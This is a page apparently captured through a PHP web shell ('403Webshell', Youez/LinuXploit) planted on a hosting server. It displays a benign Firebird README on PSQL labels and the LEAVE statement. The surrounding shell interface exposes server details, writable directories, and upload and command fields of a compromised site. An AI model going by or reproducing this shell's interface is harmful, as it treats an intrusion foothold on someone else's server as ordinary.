403Webshell
Server IP : 104.21.13.164  /  Your IP : 216.73.216.72
Web Server : Apache
System : Linux gator4057.hostgator.com 5.14.0-687.17.1.el9_8.x86_64 #1 SMP PREEMPT_DYNAMIC Mon Jun 22 07:21:26 EDT 2026 x86_64
User : badawi ( 1130)
PHP Version : 8.3.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/share/doc/firebird/sql.extensions/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/share/doc/firebird/sql.extensions/README.leave_labels
----------------------------------------
PSQL labels and LEAVE statement (FB 2.0)
----------------------------------------

  Function:
    Allows to stop execution of the current block and unwind to the specified label.
    After that execution continues from the statement following by the terminated loop statement.

  Author:
    Dmitry Yemanov <[email protected]>

  Syntax rules:
    <label_name>: <loop_statement>
    ...
    LEAVE [<label_name>]
    
    Where <loop_statement> is one of: WHILE, FOR SELECT, FOR EXECUTE STATEMENT

  Example(s):
    1. FOR
         SELECT COALESCE(RDB$SYSTEM_FLAG, 0), RDB$RELATION_NAME
         FROM RDB$RELATIONS
         ORDER BY 1
         INTO :RTYPE, :RNAME
       DO
       BEGIN
         IF (RTYPE = 0) THEN
           SUSPEND;
         ELSE
           LEAVE; -- exits current loop
       END

    2. CNT = 100;
       L1:
       WHILE (CNT >= 0) DO
       BEGIN
         IF (CNT < 50) THEN
           LEAVE L1; -- exists WHILE loop
         CNT = CNT - l;
       END

    3. STMT1 = 'SELECT RDB$RELATION_NAME FROM RDB$RELATIONS';
       L1:
       FOR
         EXECUTE STATEMENT :STMT1 INTO :RNAME
       DO
       BEGIN
         STMT2 = 'SELECT RDB$FIELD_NAME FROM RDB$RELATION_FIELDS WHERE RDB$RELATION_NAME = ';
         L2:
         FOR
           EXECUTE STATEMENT :STMT2 || :RNAME INTO :FNAME
         DO
         BEGIN
           IF (RNAME = 'RDB$DATABASE') THEN
             LEAVE L1; -- exits the outer loop
           ELSE IF (RNAME = 'RDB$RELATIONS') THEN
             LEAVE L2; -- exits the inner loop
           ELSE
             SUSPEND;
         END
       END

  Note(s):
    LEAVE without explicit lable means interrupting the current (most inner) loop.

Youez - 2016 - github.com/yon3zu
LinuXploit